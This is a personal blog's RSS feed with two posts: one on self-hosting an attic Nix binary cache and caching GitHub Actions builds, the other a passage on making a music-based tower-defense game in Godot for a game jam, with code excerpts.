<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Samiser's blog</title>
    <link>https://samiser.xyz/#blog</link>
    <atom:link href="https://samiser.xyz/feed.xml" rel="self" type="application/rss+xml"/>
    <description>occasionally i like writing about things here</description>
    <item>
      <title>caching nix CI builds with attic</title>
      <link>https://samiser.xyz/#2026-09-02-caching-nix-ci-builds-with-attic</link>
      <guid isPermaLink="true">https://samiser.xyz/#2026-09-02-caching-nix-ci-builds-with-attic</guid>
      <pubDate>Wed, 02 Sep 2026 00:00:00 +0000</pubDate>
      <description><![CDATA[<p>i manage all of my machines in a
<a href="https://github.com/Samiser/nix-configs">monorepo with a single flake</a>, and one
annoyance was building the same things repeatedly. every host builds a lot of
similar stuff, and CI was rebuilding all of it from scratch on every push. the
standard fix for this is a binary cache, so builds happen once and everything
else just downloads the results.</p>
<p>one solution would be <a href="https://www.cachix.org/">cachix</a>, but i like self-hosting
things, so instead i run <a href="https://github.com/zhaofengli/attic">attic</a>, a
self-hostable nix binary cache server. this post goes over how the cache is set
up and how github actions builds and pushes to it.</p>
<p>also worth mentioning i used to use <a href="https://garnix.io/">garnix</a> (RIP) for most
of this stuff, so this is also kind of documenting my effort to replace garnix
for personal use since they got acquihired.</p>
<h2>the cache</h2>
<p>attic runs on a hetzner vps via a small nixos module:</p>
<div class="codehilite"><pre><span></span><code>services<span class="o">.</span><span class="ss">atticd</span> <span class="o">=</span> <span class="p">{</span>
  <span class="ss">enable</span> <span class="o">=</span> <span class="no">true</span><span class="p">;</span>
  <span class="ss">environmentFile</span> <span class="o">=</span> config<span class="o">.</span>age<span class="o">.</span>secrets<span class="o">.</span>attic-jwt-secret<span class="o">.</span>path<span class="p">;</span>
  <span class="ss">settings</span> <span class="o">=</span> <span class="p">{</span>
    <span class="ss">listen</span> <span class="o">=</span> <span class="s2">&quot;127.0.0.1:8081&quot;</span><span class="p">;</span>
    database<span class="o">.</span><span class="ss">url</span> <span class="o">=</span> <span class="s2">&quot;postgres://atticd@localhost/atticd?host=/run/postgresql&quot;</span><span class="p">;</span>
    <span class="ss">storage</span> <span class="o">=</span> <span class="p">{</span>
      <span class="ss">type</span> <span class="o">=</span> <span class="s2">&quot;local&quot;</span><span class="p">;</span>
      <span class="ss">path</span> <span class="o">=</span> <span class="s2">&quot;/mnt/storagebox/attic&quot;</span><span class="p">;</span>
    <span class="p">};</span>
    compression<span class="o">.</span><span class="ss">type</span> <span class="o">=</span> <span class="s2">&quot;zstd&quot;</span><span class="p">;</span>
    <span class="ss">chunking</span> <span class="o">=</span> <span class="p">{</span>
      <span class="ss">nar-size-threshold</span> <span class="o">=</span> <span class="mi">65536</span><span class="p">;</span>
      <span class="ss">min-size</span> <span class="o">=</span> <span class="mi">16384</span><span class="p">;</span>
      <span class="ss">avg-size</span> <span class="o">=</span> <span class="mi">65536</span><span class="p">;</span>
      <span class="ss">max-size</span> <span class="o">=</span> <span class="mi">262144</span><span class="p">;</span>
    <span class="p">};</span>
  <span class="p">};</span>
<span class="p">};</span>
</code></pre></div>

<p>the nars are stored on a hetzner storagebox, cifs-mounted into the vps at
<code>/mnt/storagebox</code>. storageboxes are very cheap bulk storage, and i already had
one for other storage purposes, so that works well. the vps and the storagebox
are in the same hetzner region, so despite being network storage it's pretty
quick:</p>
<div class="codehilite"><pre><span></span><code>❯<span class="w"> </span>ping<span class="w"> </span>-c<span class="w"> </span><span class="m">5</span><span class="w"> </span>-q<span class="w"> </span>u554215-sub1.your-storagebox.de<span class="w"> </span><span class="p">|</span><span class="w"> </span>tail<span class="w"> </span>-1
rtt<span class="w"> </span>min/avg/max/mdev<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">0</span>.508/0.563/0.615/0.036<span class="w"> </span>ms

❯<span class="w"> </span>dd<span class="w"> </span><span class="k">if</span><span class="o">=</span>/dev/zero<span class="w"> </span><span class="nv">of</span><span class="o">=</span>/mnt/storagebox/boop<span class="w"> </span><span class="nv">bs</span><span class="o">=</span>1M<span class="w"> </span><span class="nv">count</span><span class="o">=</span><span class="m">256</span><span class="w"> </span><span class="nv">conv</span><span class="o">=</span>fsync
<span class="m">268435456</span><span class="w"> </span>bytes<span class="w"> </span><span class="o">(</span><span class="m">268</span><span class="w"> </span>MB,<span class="w"> </span><span class="m">256</span><span class="w"> </span>MiB<span class="o">)</span><span class="w"> </span>copied,<span class="w"> </span><span class="m">0</span>.664826<span class="w"> </span>s,<span class="w"> </span><span class="m">404</span><span class="w"> </span>MB/s

❯<span class="w"> </span>dd<span class="w"> </span><span class="k">if</span><span class="o">=</span>/mnt/storagebox/boop<span class="w"> </span><span class="nv">of</span><span class="o">=</span>/dev/null<span class="w"> </span><span class="nv">bs</span><span class="o">=</span>1M<span class="w"> </span><span class="nv">iflag</span><span class="o">=</span>direct
<span class="m">268435456</span><span class="w"> </span>bytes<span class="w"> </span><span class="o">(</span><span class="m">268</span><span class="w"> </span>MB,<span class="w"> </span><span class="m">256</span><span class="w"> </span>MiB<span class="o">)</span><span class="w"> </span>copied,<span class="w"> </span><span class="m">0</span>.935912<span class="w"> </span>s,<span class="w"> </span><span class="m">287</span><span class="w"> </span>MB/s
</code></pre></div>

<p>half a millisecond round trip and a few hundred MB/s in either direction is
plenty for serving nars.</p>
<p>the database i'm using is postgres. attic defaults to sqlite, which worked fine
until multiple CI jobs were pushing to the cache at once, at which point it
couldn't keep up with the concurrent writes and pushes would
<a href="https://github.com/samiser/nix-configs/actions/runs/32228526910/job/95993255311#step:4:7770">fail with timeouts</a>.
the vps was already running postgres for other services, so pointing atticd at
it was easy enough, and the timeouts haven't come back since.</p>
<p>the chunking settings are also worth mentioning. attic splits nars into
content-addressed chunks, so when a package rebuilds with only a small change,
only the changed chunks get stored and uploaded. my nixos system closures change
a little on every flake update, so this saves a lot of space over storing each
closure in full. after months of pushing on every commit for 7 hosts, and with
not particularly aggressive garbage collection, the entire cache is only 5.5GB:</p>
<div class="codehilite"><pre><span></span><code>❯<span class="w"> </span>du<span class="w"> </span>-hs<span class="w"> </span>/mnt/storagebox/attic/
<span class="m">5</span>.5G<span class="w">    </span>/mnt/storagebox/attic/
</code></pre></div>

<p>atticd only listens on localhost, and caddy reverse proxies it at
<code>cache.samiser.xyz</code> with tls. the jwt signing secret is stored as an
<a href="https://github.com/ryantm/agenix">agenix</a> secret, so nothing sensitive is in
the repo.</p>
<p>with the server up, creating the cache and a token for CI is done with the attic
client:</p>
<div class="codehilite"><pre><span></span><code>❯<span class="w"> </span>attic<span class="w"> </span>login<span class="w"> </span><span class="nb">local</span><span class="w"> </span>https://cache.samiser.xyz<span class="w"> </span><span class="o">[</span>admin-token<span class="o">]</span>
❯<span class="w"> </span>attic<span class="w"> </span>cache<span class="w"> </span>create<span class="w"> </span>main
❯<span class="w"> </span>attic<span class="w"> </span>make-token<span class="w"> </span>--sub<span class="w"> </span>github-actions<span class="w"> </span>--validity<span class="w"> </span>1y<span class="w"> </span><span class="se">\</span>
<span class="w">    </span>--pull<span class="w"> </span>main<span class="w"> </span>--push<span class="w"> </span>main
</code></pre></div>

<p>that token goes in the repo's github actions secrets as <code>ATTIC_TOKEN</code>.</p>
<p>then every host trusts the cache as a substituter via a shared module:</p>
<div class="codehilite"><pre><span></span><code>nix<span class="o">.</span><span class="ss">settings</span> <span class="o">=</span> <span class="p">{</span>
  <span class="ss">substituters</span> <span class="o">=</span> <span class="p">[</span> <span class="s2">&quot;https://cache.samiser.xyz/main&quot;</span> <span class="p">];</span>
  <span class="ss">trusted-public-keys</span> <span class="o">=</span> <span class="p">[</span> <span class="s2">&quot;main:xTlqL+c6HRCxNLtRdVu+TElyY+HD9WiXQn0fSetkbFk=&quot;</span> <span class="p">];</span>
<span class="p">};</span>
</code></pre></div>

<p>so any machine rebuilding its config will pull anything CI has already built.</p>
<h2>the CI</h2>
<p>the goal of the github actions workflow is for every push, build every host
configuration and devshell in the flake, then push the results to the cache.
that way, by the time i run <code>nixos-rebuild switch</code> on an actual machine,
everything is pre-built and it's just downloading rather than building.</p>
<h3>discovering what to build</h3>
<p>i didn't want to hardcode the list of hosts in the workflow, so the flake
exposes its own CI matrix. i wrote some nix to collect every nixos
configuration, darwin configuration and devshell into <code>checks</code>, grouped by
system, then flatten that into a list of <code>{ name, system }</code> pairs exposed as
<code>ciMatrix</code>.</p>
<p>the first job in the workflow evaluates that and maps each system to a github
runner:</p>
<div class="codehilite"><pre><span></span><code><span class="l l-Scalar l-Scalar-Plain">matrix=&quot;$(nix eval --json .#ciMatrix | jq -c &#39;</span>
<span class="w">  </span><span class="l l-Scalar l-Scalar-Plain">{&quot;x86_64-linux&quot;</span><span class="p p-Indicator">:</span><span class="w"> </span><span class="s">&quot;ubuntu-latest&quot;</span><span class="err">,</span>
<span class="w">   </span><span class="s">&quot;aarch64-linux&quot;</span><span class="p p-Indicator">:</span><span class="w"> </span><span class="s">&quot;ubuntu-24.04-arm&quot;</span><span class="err">,</span>
<span class="w">   </span><span class="s">&quot;aarch64-darwin&quot;</span><span class="p p-Indicator">:</span><span class="w"> </span><span class="s">&quot;macos-latest&quot;</span><span class="err">}</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">as $os |</span>
<span class="w w-Error">  </span><span class="p p-Indicator">{</span><span class="nt">include</span><span class="p">:</span><span class="w"> </span><span class="nv">map(. +</span><span class="w"> </span><span class="p p-Indicator">{</span><span class="nt">os</span><span class="p">:</span><span class="w"> </span><span class="nv">$os</span><span class="p p-Indicator">[</span><span class="nv">.system</span><span class="p p-Indicator">]}</span><span class="nv">)</span><span class="p p-Indicator">}</span><span class="s">&#39;)&quot;</span>
</code></pre></div>

<p>so adding a new host to the flake automatically adds it to CI, on the right
architecture, with no workflow changes.</p>
<h3>skipping work that's already done</h3>
<p>each matrix job then builds one check. but before building anything, it
evaluates the derivation and asks the cache if the output already exists:</p>
<div class="codehilite"><pre><span></span><code>-<span class="w"> </span>name:<span class="w"> </span>Evaluate
<span class="w">  </span>run:<span class="w"> </span><span class="p">|</span>
<span class="w">      </span><span class="nv">attr</span><span class="o">=</span><span class="s1">&#39;.#checks.&quot;${{ matrix.system }}&quot;.&quot;${{ matrix.name }}&quot;&#39;</span>
<span class="w">      </span><span class="nv">eval</span><span class="o">=</span><span class="s2">&quot;</span><span class="k">$(</span>nix<span class="w"> </span><span class="nb">eval</span><span class="w"> </span>--json<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$attr</span><span class="s2">&quot;</span><span class="w"> </span>--apply<span class="w"> </span><span class="s1">&#39;d: { drv = d.drvPath; out = d.outPath; }&#39;</span><span class="k">)</span><span class="s2">&quot;</span>
<span class="w">      </span><span class="nv">out</span><span class="o">=</span><span class="s2">&quot;</span><span class="k">$(</span>jq<span class="w"> </span>-r<span class="w"> </span><span class="s1">&#39;.out&#39;</span><span class="w"> </span><span class="o">&lt;&lt;&lt;</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$eval</span><span class="s2">&quot;</span><span class="k">)</span><span class="s2">&quot;</span>
<span class="w">      </span><span class="nv">hash</span><span class="o">=</span><span class="s2">&quot;</span><span class="k">$(</span>basename<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$out</span><span class="s2">&quot;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>cut<span class="w"> </span>-d-<span class="w"> </span>-f1<span class="k">)</span><span class="s2">&quot;</span>

<span class="w">      </span><span class="k">if</span><span class="w"> </span>curl<span class="w"> </span>-sf<span class="w"> </span>-o<span class="w"> </span>/dev/null<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$ATTIC_ENDPOINT</span><span class="s2">/</span><span class="nv">$ATTIC_CACHE</span><span class="s2">/</span><span class="nv">$hash</span><span class="s2">.narinfo&quot;</span><span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w">        </span><span class="nb">echo</span><span class="w"> </span><span class="s2">&quot;cached=true&quot;</span><span class="w"> </span>&gt;&gt;<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$GITHUB_OUTPUT</span><span class="s2">&quot;</span>
<span class="w">      </span><span class="k">fi</span>
</code></pre></div>

<p>the key thing is the http request for the <code>.narinfo</code> of the output path. if it's
there, the build and push steps are skipped entirely and the job finishes in a
few minutes (basically just evaluation time). for pushes that only touch one
host, or for re-runs, most of the matrix gets skipped like this.</p>
<p>if the output isn't cached, the job builds it and pushes both the derivation and
its outputs:</p>
<div class="codehilite"><pre><span></span><code>push<span class="w"> </span>--no-closure<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$ATTIC_CACHE</span><span class="s2">&quot;</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$DRV</span><span class="s2">&quot;</span>
push<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$ATTIC_CACHE</span><span class="s2">&quot;</span><span class="w"> </span><span class="s2">&quot;</span><span class="si">${</span><span class="nv">outs</span><span class="p">[@]</span><span class="si">}</span><span class="s2">&quot;</span>
</code></pre></div>

<p><code>push</code> is a small retry wrapper, because uploading a few gigabytes of nars from
a github runner occasionally fails partway through (failures were much more
common when i was using sqlite, but i kept the retries anyway). the push step is
also <code>continue-on-error</code> since a failed cache push shouldn't fail CI, given the
actual build succeeded. it just emits a warning in the job summary so i know the
cache is behind.</p>
<h3>pushing flake inputs too</h3>
<p>there's also a separate job that pushes the flake's inputs to the cache:</p>
<div class="codehilite"><pre><span></span><code><span class="nv">paths</span><span class="o">=()</span>
<span class="k">while</span><span class="w"> </span><span class="nv">IFS</span><span class="o">=</span><span class="w"> </span><span class="nb">read</span><span class="w"> </span>-r<span class="w"> </span>path<span class="p">;</span><span class="w"> </span><span class="k">do</span>
<span class="w">  </span><span class="nv">paths</span><span class="o">+=(</span><span class="s2">&quot;</span><span class="nv">$path</span><span class="s2">&quot;</span><span class="o">)</span>
<span class="k">done</span><span class="w"> </span>&lt;<span class="w"> </span>&lt;<span class="o">(</span>nix<span class="w"> </span>flake<span class="w"> </span>archive<span class="w"> </span>--json<span class="w"> </span><span class="p">|</span><span class="w"> </span>jq<span class="w"> </span>-r<span class="w"> </span><span class="s1">&#39;[.. | .path? | strings] | unique[]&#39;</span><span class="o">)</span>

attic<span class="w"> </span>push<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$ATTIC_CACHE</span><span class="s2">&quot;</span><span class="w"> </span><span class="s2">&quot;</span><span class="si">${</span><span class="nv">paths</span><span class="p">[@]</span><span class="si">}</span><span class="s2">&quot;</span>
</code></pre></div>

<p><code>nix flake archive</code> gives you the store paths of every input (nixpkgs,
home-manager, etc). caching these means machines and CI runs don't have to
re-fetch input tarballs from github, and evaluation-only operations get faster
too.</p>
<h3>why no DAG ??</h3>
<p>you may have realised that because each job builds its host independently, jobs
will sometimes end up building the same derivations at the same time,
duplicating work. if you noticed this, congratulations, you're a discerning
reader!</p>
<p>a smarter approach would be to resolve the dependency graph up front into a DAG,
build each shared derivation once, then build the hosts on top. but scheduling
that across github runners would be pretty complicated, so i thought about it
for a bit then decided against it (for now...)</p>
<h2>closing thoughts</h2>
<p>with this setup, flake updates now mean CI does all the building once, and every
machine just downloads the results. this makes deploying updates to my servers
particularly nice, but even just rebuilding my desktop or darwin host is
typically significantly faster.</p>
<p>if you're maintaining a multi-host nix flake and running into the same
<em>rebuilding everything every time</em> annoyance, i'd definitely recommend giving
attic, or just caching for personal uses in general, a go. thanks for reading!
:)</p>]]></description>
    </item>
    <item>
      <title>tuneful towers: my first game jam</title>
      <link>https://samiser.xyz/#2025-05-22-tuneful-towers:-my-first-game-jam</link>
      <guid isPermaLink="true">https://samiser.xyz/#2025-05-22-tuneful-towers:-my-first-game-jam</guid>
      <pubDate>Thu, 22 May 2025 00:00:00 +0000</pubDate>
      <description><![CDATA[<h2>the lore</h2>
<p>for a long time i've been interested in making games, and i've made a few
attempts to get into it, but i struggled with the scope and scale of
game-making. most of my attempts start with me having a cool game idea, i crack
open godot, start hacking away, and after a while i either get bogged down in
implementation details or keep focusing on things that aren't <em>core</em> to making
the game work but are fun to try and solve.</p>
<p>i've made several projects like this, but most of them remain unfinished. my
lack of experience doing game dev and working in godot eventually leads me to a
point where i struggle to continue engaging with my own codebase, and i move on.</p>
<p>however, i've always suspected a game jam might help me remain focused on
getting something done. game jams have a short timeframe and an explicit goal
(get something finished and submitted) so it seemed like a good motivator.</p>
<p>so last month, for the first time, i signed up to
<a href="https://itch.io/jam/godot-wild-jam-80">godot wild jam 80</a>. i discovered this
jam while i was looking for jams to take part in, and i found it when it was
already two days into it's nine-day window for submission, but i figured the
remain seven days would be enough for me to have a good try at building
something.</p>
<p>the theme for the jam was <em>controlled chaos</em>, with an additional three optional
wildcards to use no text, give all characters silly names, and use only simple
shapes in the game. immediately simple shapes appealed to me since i'm not
particularly good at visual art, and no text was also interesting, with my
immediate thought to make a more vibes-based game.</p>
<p>for the theme itself i swithered between a few different ideas but i settled on
a music-based tower-defense type thing. i was thinking you could create towers
that would shoot enemies while generating random-ish music, and you could
rearrange them to create more harmonious music, powering up the tower damage
output.</p>
<h2>making the game</h2>
<p>this section goes into some of the interesting technical challenges i faced
while making this game. if you don't care about that, you might wanna just skip
to the conclusions at the end.</p>
<p>the first thing i needed to figure out was the music system. i've heard that
rhythm games are notoriously hard to get right, and while this wasn't
specifically a rhythm game it still required some kind of globally synchronised
musical state that anything in the game could hook in to.</p>
<h3>managing musical state</h3>
<p>i figured a
<a href="https://docs.godotengine.org/en/latest/tutorials/scripting/singletons_autoload.html">singleton</a>
would be the best way to manage something like this, so i created a
<a href="https://github.com/Samiser/tuneful-towers/blob/main/managers/beat_manager.gd">beatmanager</a>
that emits signals for various subdivisions of the main tempo, ranging from
eighth-note triplets to whole-notes:</p>
<div class="codehilite"><pre><span></span><code><span class="k">const</span><span class="w"> </span><span class="n">SUBDIVISIONS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="s2">&quot;full&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span>
<span class="w">    </span><span class="s2">&quot;half&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span>
<span class="w">    </span><span class="s2">&quot;quarter&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span>
<span class="w">    </span><span class="s2">&quot;quarter_triplet&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">6</span><span class="p">,</span>
<span class="w">    </span><span class="s2">&quot;eighth&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">8</span><span class="p">,</span>
<span class="w">    </span><span class="s2">&quot;eighth_quintuplets&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">10</span><span class="p">,</span>
<span class="w">    </span><span class="s2">&quot;eighth_triplet&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">12</span><span class="p">,</span>
<span class="p">}</span>

<span class="c1"># [... a bunch of other code ...]</span>

<span class="k">func</span><span class="w"> </span><span class="n">emit_subdivision_signals</span><span class="p">(</span><span class="n">step</span><span class="p">:</span><span class="w"> </span><span class="nb nb-Type">int</span><span class="p">):</span>
<span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="n">sub</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">SUBDIVISIONS</span><span class="o">.</span><span class="n">keys</span><span class="p">():</span>
<span class="w">        </span><span class="k">var</span><span class="w"> </span><span class="n">div</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">SUBDIVISIONS</span><span class="p">[</span><span class="n">sub</span><span class="p">]</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="n">step</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="p">(</span><span class="n">total_subdivs</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="n">div</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">:</span>
<span class="w">            </span><span class="n">global_subdivision_steps</span><span class="p">[</span><span class="n">sub</span><span class="p">]</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span>
<span class="w">            </span><span class="n">emit_signal</span><span class="p">(</span><span class="s2">&quot;beat&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">sub</span><span class="p">)</span>
</code></pre></div>

<p>once i had this, i could create things that made use of the signals to do things
to the beat.</p>
<p>first was the towers themselves. i decided that there would be different types
of "tower" for different musical elements (melody, harmony, rhythm, bass) and
each tower could be used to deploy shooters that would fire bullets and play
notes.</p>
<p>each tower has a sequence of notes, and each shooter represents a note in the
sequence. when a new shooter is purchased/placed a random note is chosen and
assigned to it, and it gets added to the sequence:</p>
<div class="codehilite"><pre><span></span><code><span class="k">func</span><span class="w"> </span><span class="n">spawn_shooter_at</span><span class="p">(</span><span class="n">pos</span><span class="p">:</span><span class="w"> </span><span class="nb nb-Type">Vector2</span><span class="p">)</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="n">Node2D</span><span class="p">:</span>
<span class="w">    </span><span class="k">var</span><span class="w"> </span><span class="n">shooter</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">shooter_scene</span><span class="o">.</span><span class="n">instantiate</span><span class="p">()</span>

<span class="w">    </span><span class="n">shooter</span><span class="o">.</span><span class="n">global_position</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">pos</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">position</span>
<span class="w">    </span><span class="k">var</span><span class="w"> </span><span class="n">random_note</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">possible_notes</span><span class="p">[</span><span class="n">randi_range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="n">possible_notes</span><span class="o">.</span><span class="n">size</span><span class="p">()</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">)]</span>

<span class="w">    </span><span class="n">shooter</span><span class="o">.</span><span class="n">note</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">random_note</span>
<span class="w">    </span><span class="n">shooter</span><span class="o">.</span><span class="n">color</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">shooter_color</span>
<span class="w">    </span><span class="n">shooter</span><span class="o">.</span><span class="n">damage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">bullet_damage</span>
<span class="w">    </span><span class="n">shooter</span><span class="o">.</span><span class="n">bullet_count</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">bullet_count</span>
<span class="w">    </span><span class="n">shooter</span><span class="o">.</span><span class="n">index</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">shooters</span><span class="o">.</span><span class="n">size</span><span class="p">()</span>
<span class="w">    </span><span class="n">shooter</span><span class="o">.</span><span class="n">audio_stream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">audio_streams</span><span class="p">[</span><span class="n">random_note</span><span class="p">]</span>
<span class="w">    </span><span class="n">shooter</span><span class="o">.</span><span class="n">shot</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">_on_shot</span><span class="p">)</span>
<span class="w">    </span><span class="n">shooter</span><span class="o">.</span><span class="n">destroyed</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">_on_shooter_destroyed</span><span class="p">)</span>

<span class="w">    </span><span class="n">money</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0.0</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">number_purchased</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="mi">7</span><span class="p">:</span>
<span class="w">        </span><span class="n">number_purchased</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span>
<span class="w">        </span><span class="n">cost</span><span class="w"> </span><span class="o">*=</span><span class="w"> </span><span class="mf">1.8</span>

<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">shooters</span><span class="o">.</span><span class="n">size</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mi">6</span><span class="p">:</span>
<span class="w">        </span><span class="n">cost_bar</span><span class="o">.</span><span class="n">visible</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">false</span>

<span class="w">    </span><span class="n">emit_signal</span><span class="p">(</span><span class="s2">&quot;shooter_added&quot;</span><span class="p">,</span><span class="w"> </span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">shooter</span><span class="p">)</span>
<span class="w">    </span><span class="n">add_child</span><span class="p">(</span><span class="n">shooter</span><span class="p">)</span>
<span class="w">    </span><span class="n">_stop_pulse</span><span class="p">()</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="n">shooter</span>
</code></pre></div>

<p>then still in the tower, we hook into the beatmanager and iterate over the
sequence, triggering each shooter to fire whenever that shooter's index is the
current sequence index:</p>
<div class="codehilite"><pre><span></span><code><span class="k">func</span><span class="w"> </span><span class="n">_on_beat</span><span class="p">(</span><span class="n">subdivision</span><span class="p">):</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">subdivision</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">selected_subdivision</span><span class="p">:</span>
<span class="w">        </span><span class="n">shooters</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_get_shooter_notes</span><span class="p">()</span>
<span class="w">        </span><span class="k">for</span><span class="w"> </span><span class="n">shooter</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">shooters</span><span class="p">:</span>
<span class="w">            </span><span class="k">if</span><span class="w"> </span><span class="n">shooter</span><span class="o">.</span><span class="n">index</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">current_note_index</span><span class="p">:</span>
<span class="w">                </span><span class="n">emit_signal</span><span class="p">(</span><span class="s2">&quot;beat&quot;</span><span class="p">,</span><span class="w"> </span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">current_note_index</span><span class="p">,</span><span class="w"> </span><span class="n">shooter</span><span class="o">.</span><span class="n">note</span><span class="p">)</span>
<span class="w">                </span><span class="n">shooter</span><span class="o">.</span><span class="n">shoot</span><span class="p">()</span>

<span class="w">        </span><span class="n">current_note_index</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">current_note_index</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="nb">max</span><span class="p">(</span><span class="n">shooters</span><span class="o">.</span><span class="n">size</span><span class="p">(),</span><span class="w"> </span><span class="mi">4</span><span class="p">)</span>
</code></pre></div>

<p>the modulo at the end ensures that for the first four shooters the sequence
length is 4, but it can grow beyond that so you can have sequences of
interesting numbers like 5 or 7, with the max sequence length being 8.</p>
<p>so now there's towers that can spawn shooters which shoot in the order they are
placed, but i also needed them to play musical audio!</p>
<h3>handling audio</h3>
<p>it took several attempts and iterations to figure out something that actually
worked for this. my first attempt was to have an audioplayer in the tower
itself, and have each shooter trigger the playing of its respective note in that
player. this made polyphony (playing multiple notes at the same time) awkward,
since playing a new note would cut off the old one.</p>
<p>eventually i realised the best way would be to have each shooter have it's own
audioplayer, and it would play its own note. i thought having too many
audioplayers might cause some performance issues, but it ended up working great,
even in the constrained environment of a browser. thanks godot devs!</p>
<p>to prevent having to load the audiostream every time a new shooter was placed, i
had the towers hold references to the audiostreams themselves, and just pass the
stream into each shooter when they were created:</p>
<div class="codehilite"><pre><span></span><code><span class="k">func</span><span class="w"> </span><span class="n">_melody_tower</span><span class="p">():</span>
<span class="w">    </span><span class="n">possible_notes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="mi">4</span><span class="p">]</span>
<span class="w">    </span><span class="n">audio_streams</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span>
<span class="w">        </span><span class="nb">load</span><span class="p">(</span><span class="s2">&quot;res://towers/melody-pentatonic/melody_pentatonic_000.wav&quot;</span><span class="p">),</span>
<span class="w">        </span><span class="nb">load</span><span class="p">(</span><span class="s2">&quot;res://towers/melody-pentatonic/melody_pentatonic_001.wav&quot;</span><span class="p">),</span>
<span class="w">        </span><span class="nb">load</span><span class="p">(</span><span class="s2">&quot;res://towers/melody-pentatonic/melody_pentatonic_002.wav&quot;</span><span class="p">),</span>
<span class="w">        </span><span class="nb">load</span><span class="p">(</span><span class="s2">&quot;res://towers/melody-pentatonic/melody_pentatonic_003.wav&quot;</span><span class="p">),</span>
<span class="w">        </span><span class="nb">load</span><span class="p">(</span><span class="s2">&quot;res://towers/melody-pentatonic/melody_pentatonic_004.wav&quot;</span><span class="p">)</span>
<span class="w">    </span><span class="p">]</span>

<span class="k">func</span><span class="w"> </span><span class="n">spawn_shooter_at</span><span class="p">(</span><span class="n">pos</span><span class="p">:</span><span class="w"> </span><span class="nb nb-Type">Vector2</span><span class="p">)</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="n">Node2D</span><span class="p">:</span>
<span class="w">    </span><span class="c1"># only showing the relevant code here, the real function has more stuff</span>
